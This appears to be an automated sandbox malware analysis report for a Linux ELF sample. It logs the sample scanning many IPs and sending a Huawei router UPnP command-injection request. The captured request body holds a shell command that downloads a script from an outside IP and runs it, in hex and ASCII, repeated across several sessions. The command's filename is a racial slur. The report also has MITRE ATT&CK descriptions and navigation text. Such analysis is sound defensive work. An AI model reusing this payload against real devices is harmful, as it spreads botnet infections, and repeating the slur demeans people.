Feb 19, 2024 18:38:20.956603050 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.15	40540	94.122.225.103	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.957021952 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.15	36334	94.123.50.160	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.957166910 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.15	52842	94.122.197.189	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.957300901 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.15	38620	94.121.16.58	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.961740971 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: k83uRQtNDx.elf PID: 5522, Parent PID: 5445

General

Start time (UTC):	17:36:17
Start date (UTC):	19/02/2024
Path:	/tmp/k83uRQtNDx.elf
Arguments:	/tmp/k83uRQtNDx.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	17:36:17
Start date (UTC):	19/02/2024
Path:	/tmp/k83uRQtNDx.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	17:36:17
Start date (UTC):	19/02/2024
Path:	/tmp/k83uRQtNDx.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	17:36:17
Start date (UTC):	19/02/2024
Path:	/tmp/k83uRQtNDx.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: k83uRQtNDx.elf PID: 5530, Parent PID: 5524

General

Start time (UTC):	17:36:17
Start date (UTC):	19/02/2024
Path:	/tmp/k83uRQtNDx.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Source: global traffic	TCP traffic: 138.36.35.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 138.219.31.76 ports 1,2,3,5,7,37215

Source: unknown	TCP traffic detected without corresponding DNS query: 138.178.255.50
Source: unknown	TCP traffic detected without corresponding DNS query: 138.237.6.50
Source: unknown	TCP traffic detected without corresponding DNS query: 138.119.29.49
Source: unknown	TCP traffic detected without corresponding DNS query: 138.168.5.54
Source: unknown	TCP traffic detected without corresponding DNS query: 138.50.224.225
Source: unknown	TCP traffic detected without corresponding DNS query: 138.193.185.134
Source: unknown	TCP traffic detected without corresponding DNS query: 138.3.156.106
Source: unknown	TCP traffic detected without corresponding DNS query: 138.13.200.92
Source: unknown	TCP traffic detected without corresponding DNS query: 138.247.33.25
Source: unknown	TCP traffic detected without corresponding DNS query: 138.233.73.182
Source: unknown	TCP traffic detected without corresponding DNS query: 138.192.82.124
Source: unknown	TCP traffic detected without corresponding DNS query: 138.184.21.163
Source: unknown	TCP traffic detected without corresponding DNS query: 138.52.170.195
Source: unknown	TCP traffic detected without corresponding DNS query: 138.173.49.196
Source: unknown	TCP traffic detected without corresponding DNS query: 138.16.216.192
Source: unknown	TCP traffic detected without corresponding DNS query: 138.1.113.55
Source: unknown	TCP traffic detected without corresponding DNS query: 138.202.217.74
Source: unknown	TCP traffic detected without corresponding DNS query: 138.199.92.191
Source: unknown	TCP traffic detected without corresponding DNS query: 138.192.12.97
Source: unknown	TCP traffic detected without corresponding DNS query: 138.0.198.217
Source: unknown	TCP traffic detected without corresponding DNS query: 138.252.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 138.15.9.179
Source: unknown	TCP traffic detected without corresponding DNS query: 138.51.21.218
Source: unknown	TCP traffic detected without corresponding DNS query: 138.144.7.75
Source: unknown	TCP traffic detected without corresponding DNS query: 138.253.216.184
Source: unknown	TCP traffic detected without corresponding DNS query: 138.161.250.5
Source: unknown	TCP traffic detected without corresponding DNS query: 138.240.49.74
Source: unknown	TCP traffic detected without corresponding DNS query: 138.12.39.98
Source: unknown	TCP traffic detected without corresponding DNS query: 138.64.192.145
Source: unknown	TCP traffic detected without corresponding DNS query: 138.123.9.209
Source: unknown	TCP traffic detected without corresponding DNS query: 138.26.193.157
Source: unknown	TCP traffic detected without corresponding DNS query: 138.216.63.14
Source: unknown	TCP traffic detected without corresponding DNS query: 138.132.47.0
Source: unknown	TCP traffic detected without corresponding DNS query: 138.35.164.250
Source: unknown	TCP traffic detected without corresponding DNS query: 138.2.216.95
Source: unknown	TCP traffic detected without corresponding DNS query: 138.111.234.196
Source: unknown	TCP traffic detected without corresponding DNS query: 138.94.134.17
Source: unknown	TCP traffic detected without corresponding DNS query: 138.231.32.204
Source: unknown	TCP traffic detected without corresponding DNS query: 138.64.136.216
Source: unknown	TCP traffic detected without corresponding DNS query: 138.116.197.65
Source: unknown	TCP traffic detected without corresponding DNS query: 138.176.163.254
Source: unknown	TCP traffic detected without corresponding DNS query: 138.221.209.160
Source: unknown	TCP traffic detected without corresponding DNS query: 138.153.233.181
Source: unknown	TCP traffic detected without corresponding DNS query: 138.190.117.185
Source: unknown	TCP traffic detected without corresponding DNS query: 138.160.217.121
Source: unknown	TCP traffic detected without corresponding DNS query: 138.139.206.218
Source: unknown	TCP traffic detected without corresponding DNS query: 138.2.65.112
Source: unknown	TCP traffic detected without corresponding DNS query: 138.55.16.142
Source: unknown	TCP traffic detected without corresponding DNS query: 138.36.119.25
Source: unknown	TCP traffic detected without corresponding DNS query: 138.188.173.126

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report k83uRQtNDx.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: k83uRQtNDx.elf PID: 5522, Parent PID: 5445

General

Chronological Activities

Analysis Process: k83uRQtNDx.elf PID: 5524, Parent PID: 5522

General

Chronological Activities

Analysis Process: k83uRQtNDx.elf PID: 5526, Parent PID: 5524

General

Chronological Activities

Analysis Process: k83uRQtNDx.elf PID: 5528, Parent PID: 5524

General

Analysis Process: k83uRQtNDx.elf PID: 5530, Parent PID: 5524

General

Chronological Activities

Linux Analysis Report
k83uRQtNDx.elf